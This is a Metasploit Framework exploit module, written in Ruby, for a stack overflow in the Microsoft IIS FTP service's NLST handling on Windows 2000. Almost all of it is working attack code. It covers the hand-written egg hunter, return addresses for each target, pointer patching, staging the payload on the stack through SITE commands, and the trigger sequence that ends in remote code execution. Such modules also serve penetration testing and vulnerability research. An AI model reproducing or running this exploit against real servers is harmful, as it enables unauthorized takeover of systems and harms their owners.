Microsoft IIS FTP Server NLST Response Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Microsoft IIS FTP Server NLST Response Overflow',  
'Description' => %q{  
This module exploits a stack overflow flaw in the Microsoft IIS FTP  
service. The flaw is triggered when a special NLST argument is passed  
while the session has changed into a long directory path. For this exploit  
to work, the FTP server must be configured to allow write access to the  
file system (either anonymously or in conjunction with a real account)  
  
},  
'Author' => [ 'Kingcope <kcope2[at]googlemail.com>', 'hdm' ],  
'License' => MSF_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
['URL', 'http://milw0rm.com/exploits/9541'],  
['BID', '36189'],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 490,  
'BadChars' => "\x00\x09\x0c\x20\x0a\x0d\x0b",  
# This is for the stored payload, the real BadChar list for file paths is:  
# \x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x22\x2a\x2e\x2f\x3a\x3c\x3e\x3f\x5c\x7c  
'StackAdjustment' => -3500,  
},  
'Targets' =>  
[   
[  
'Windows 2000 SP4 English/Italian (IIS 5.0)',  
{  
'Platform' => 'win',  
'Ret' => 0x773d24eb, # jmp esp in activeds.dll (English / 5.0.2195.6601)  
'Patch' => 0x7ffd7ffd # works for off-by-two alignment  
},  
],  
[  
'Windows 2000 SP3 English (IIS 5.0)',  
{  
'Platform' => 'win',  
'Ret' => 0x77e42ed8, # jmp esp in user32.dll (English / 5.0.2195.7032)  
'Patch' => 0x7ffd7ffd # works for off-by-two alignment  
},  
],  
],  
'DisclosureDate' => 'Aug 31 2009',  
'DefaultTarget' => 0))  
  
register_options([Opt::RPORT(21),], self.class)  
end  
  
  
def exploit  
connect_login  
  
  
based = rand_text_alpha_upper(10)  
  
res = send_cmd( ['MKD', based ], true )   
print_status(res.strip)  
  
if (res !~ /directory created/)  
print_error("The root directory of the FTP server is not writeable")  
disconnect  
return  
end  
  
res = send_cmd( ['CWD', based ], true )  
print_status(res.strip)  
  
egg = rand_text_alpha_upper(4)  
hun = "\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38#{egg}\x75\xF7\x40\x40\x40\x40\xFF\xE0"  
  
# This egg hunter is necessary because of the huge set of restricted characters for directory names  
# The best that metasploit could so was 133 bytes for an alphanum encoded egg hunter  
# The egg hunter above was written by kcope and searches from 0x70000 forward (stack) in order  
# to locate the real shellcode. The only change from the original hunter was to randomize the  
# prefix used.  
  
# Store our real shellcode on the stack  
1.upto(5) do  
res = send_cmd( ['SITE', egg + payload.encoded.gsub("\xff", "\xff\xff") ], true )  
end  
  
# Create the directory path that will be used in the overflow  
pre = rand_text_alpha_upper(3) # esp+0x28 points here   
pst = rand_text_alpha_upper(210) # limited by max path  
  
pst[ 0, hun.length] = hun # egg hunter  
pst[ 90, 4] = [target['Patch']].pack('V') # patch smashed pointers   
pst[ 94, 4] = [target['Patch']].pack('V') # patch smashed pointers  
pst[140, 32] = [target['Patch']].pack('V') * 8 # patch smashed pointers  
pst[158, 4] = [target.ret].pack("V") # return  
pst[182, 5] = "\xe9" + [-410].pack("V") # jmp back  
  
# Escape each 0xff with another 0xff for FTP  
pst = pst.gsub("\xff", "\xff\xff")  
  
print_status("Creating long directory...")  
res = send_cmd( ['MKD', pre+pst ], true )   
print_status(res.strip)  
  
srv = Rex::Socket::TcpServer.create(  
'LocalHost' => '0.0.0.0',  
'LocalPort' => 0,  
'SSL' => false,  
'Context' => {  
'Msf' => framework,  
'MsfExploit' => self,  
}  
)  
  
begin  
  
thr = Thread.new { srv.accept }  
  
prt = srv.getsockname[2]  
prt1 = prt / 256  
prt2 = prt % 256  
  
addr = Rex::Socket.source_address(rhost).gsub(".", ",") + ",#{prt1},#{prt2}"  
  
res = send_cmd( ['PORT', addr ], true )   
print_status(res.strip)  
  
print_status("Trying target #{target.name}...")   
  
res = send_cmd( ['NLST', pre+pst + "*/../" + pre + "*/"], true )   
print_status(res.strip) if res  
  
sleep(2)  
  
handler  
disconnect  
  
ensure  
thr.kill  
srv.close  
  
end  
end  
  
end  
`